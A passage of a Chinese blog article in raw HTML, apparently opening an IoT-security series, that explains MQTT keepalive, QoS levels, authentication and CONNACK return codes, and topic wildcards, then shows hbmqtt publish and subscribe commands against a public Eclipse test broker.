src="https://wechat2rss.xlab.app/img-proxy/?k=a74c3e95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnHOPrr4p3QOvQonLq3yBM9FRo5AoWcuGlQ2bEgZAlHdA5kHyt3qMr0Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：docs.oasis-open.org</span><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></span><br/></p><p><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">二是MQTT消息交互流程非常简单，MQTT 3.1.1一共定义了14种数据包类型，感兴趣的朋友可以查阅MQTT的官方手册，这里不再赘述</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">https</span>://<span class="code-snippet__selector-tag">mcxiaoke</span><span class="code-snippet__selector-class">.gitbooks</span><span class="code-snippet__selector-class">.io</span></span></code></pre></section><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">低功耗优化</span></h2><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">MQTT协议十分注重</span><strong style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">低功耗</strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">的优化设计，</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">主要体现在</span><strong style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">Keepalive机制</strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="296" data-source-title=""><section class="js_blockquote_digest"><p>这个机制工作的原理是：Client 和 Broker 都基于 Keepalive 确定时间长度，来判断一段时间内是否有消息在双方之间传输。这个时间长度是Client建立连接时设置的，如果超出这个时间长度，双方没有收到新的数据包，那么就判定连接断开。</p><p><span style="font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, Helvetica, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);">虽然 Keepalive 要求一段时间内必须有数据包传输，但实际情况是，Client 和 Broker 不可能时刻都在传输主题消息。</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, Helvetica, sans-serif;font-size: 16px;text-align: start;">因此</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, Helvetica, sans-serif;font-size: 16px;text-align: start;">MQTT</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, Helvetica, sans-serif;font-size: 16px;text-align: start;">定义了 PINGREQ 和 PINGRESP 这两种消息类型。</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, Helvetica, sans-serif;font-size: 16px;text-align: start;">它们都没有可变头部和消息体，也就只有 2 个字节大小。</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, Helvetica, sans-serif;font-size: 16px;text-align: start;">Client 和 Broker 通过分别发送 PINGREQ 和 PINGRESP 消息，就能够满足 Keepalive 机制的要求。</span></p><p><span style="background-color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, Helvetica, sans-serif;font-size: 16px;text-align: start;"></span></p></section></blockquote><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">此外，MQTT 5.0 还引入了<strong>重复主题</strong>特性，即Client在重复发送某个Topic的消息时，可以从第二次开始将Topic长度设置为0</span><br/></p><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">多种QoS</span></h2><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">在物联网环境中网络质量不稳定、网络带宽低等因素均会影响到发布者、订阅与Broker之间的通信。为了解决这个问题，<strong>MQTT协议设计了三种不同的QoS如下</strong>：<br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1. QoS 0，表示消息至多收到一次，即消息可能丢失，但不会重复投递</span></span></p><p><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2. QoS 1，表示消息至少收到一次，即消息保证送达，但可能重复投递</span></span></p><p><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">3. QoS 2，表示消息有且只有收到一次</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5" data-s="300,640" data-type="png" data-w="1464" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=3a874202&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnD25icC32r2VGKvClG1iaBpkM7icnWo4s6YvkTsVByQlsWI8gG2B5agUmg%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">安全传输</span></h2><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">提到安全传输，首先我们要验证</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);text-decoration: underline;">客户端是否有权限接入MQTT Broker</span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">MQTT支持<strong>两种层次</strong>的认证：</span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1.传输层认证，传输层使用TLS认证设备，并且加密了通讯。</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2.应用层认证，支持client id / username / password 等方式认证设备，但是只在应用层验证设备，不加密通讯</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">在本文中我们主要分析在应用层认证的MQTT，因为在传输层直接使用TLS加密之后我们就没有办法嗅探或者做其他操作了。但也这<strong>不是意味着支持<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">TLS就能解决所有问题，因为MCU/RTOS根本玩不了TLS</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">，怎么办？</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">还能怎么办，继续不加密呗</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">接下来我们再来看看MQTT的认证过程：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2885572139303483" data-s="300,640" style="" data-type="png" data-w="1608" src="https://wechat2rss.xlab.app/img-proxy/?k=df623d5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAzVwaicCGdQxkHalicnXMWnOvhnqw1kZl04hbIOBBugSeBj5GGibwK2Uug%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">客户端将用户名密码</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);text-decoration: underline;">使用CONNECT消息发送到Broker</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">，Broker根据认证信息判断是否准入，</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);text-decoration: underline;">使用CONNACK消息返回结果</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">，其中认证返回值的具体含义如下：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6186612576064908" data-s="300,640" style="" data-type="png" data-w="986" src="https://wechat2rss.xlab.app/img-proxy/?k=7b525883&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAErxlkicbdB1XibwWXic03Kria87ngp3acDfBK1pHHQpaogvyuia4UMzTotQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">通过这个表格，其实我们可以判断，<strong>如果连接某个Broker，返回值为0就代表我们已经成功连接，如果返回值为4说明我们的账号密码错误，如果返回值为5说明该Broker不支持用户密码方式登陆【需要记住】</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.34288354898336415" data-s="300,640" data-type="png" data-w="1082" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=424eafd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXn0yEibouPvrQ33p1ibEeDqQYe7jXKMb0npM5vbqHhtic0zSGAbkHWeeqMQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">最后我们还需要注意<strong>Broker支持认证链</strong>，它会按照默认先后顺序进行链式认证：</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2265625" data-s="300,640" style="" data-type="png" data-w="2048" src="https://wechat2rss.xlab.app/img-proxy/?k=dfbb1be7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwARSKIU9Qub8mZ0ee2k0noB9Ks77mRlJ7MnUjicapnFKncX6DCFenib9Sg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：docs.emqx.cn</span></p><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">主题</span></h2><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">MQTT协议基于主题(Topic)进行消息路由，主题(Topic)类似URL路径，例如：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">chat/room/1</span></code><code><span class="code-snippet_outer">sensor/10/temperature</span></code><code><span class="code-snippet_outer">sensor/+/temperature</span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$SYS</span>/broker/metrics/packets/received</span></code><code><span class="code-snippet_outer"><span class="code-snippet__variable">$SYS</span>/broker/metrics/<span class="code-snippet__comment">#</span></span></code></pre></section><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">主题(Topic)通过&#39;/&#39;分割层级，支持&#39;+&#39;, &#39;#&#39;通配符:</span></strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">&#39;+&#39;: 表示通配一个层级，例如a/+，匹配a/x, a/y   </span></code><code><span class="code-snippet_outer">&#39;#&#39;: 表示通配多个层级，例如a/#，匹配a/x, a/b/c/d</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">订阅者可以订阅含通配符主题，但发布者不允许向含通配符主题发布消息<span style="font-size: 10px;"><sup><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">[4]</span></sup></span></span></p><h2 style="margin: 20px 16px;font-size: 22.4px;white-space: normal;letter-spacing: 0.544px;text-size-adjust: auto;text-align: center;color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;line-height: 1.75em;"><span style="letter-spacing: 2px;">2 MQTT体验</span></h2><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">既然要搞MQTT，怎么可以连工具都没有呢？这里我们直接<strong>使用hbmqtt这个库来模拟MQTT client</strong>，安装方式很简单，直接pip</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">pip3 install hbmqtt</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">这里我们使用eclipse提供的免费broker进行测试，地址如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">mqtt</span><span class="code-snippet__selector-class">.eclipseprojects</span><span class="code-snippet__selector-class">.io</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.34676258992805753" data-s="300,640" data-type="png" data-w="695" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=a43d3eda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAhEPnhx02CiaRWXww2aA3gB1t6dnGA7a50E1sULk5O59HJSSuFQ2Y5ibw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：mqtt.eclipseprojects.io</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">它提供了四种mqtt连接方式，今天我们主要来看看不加密的TCP连接方式，即常见的1883端口</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">我们打开一个终端，订阅/nianhua/iotsecurity这个主题消息：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">hbmqtt_sub</span> --url mqtt://mqtt.eclipseprojects.io:1883 -t /nianhua/iotsecurity</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7268445839874411" data-s="300,640" data-type="png" data-w="637" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=fdc59c51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwAHkD7ch5qwbZdtzobtqvBEFNmh2p4iaH5RoiaGtzAZm40s2yfkBXfreUA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">打开另一个终端，通过hbmqtt_pub发布一个/nianhua/iotsecurity主题的消息</span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">hbmqtt_pub --url mqtt://mqtt.eclipseprojects.io:1883 -t /nianhua/iotsecurity -m Hello,World!</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7279874213836478" data-s="300,640" 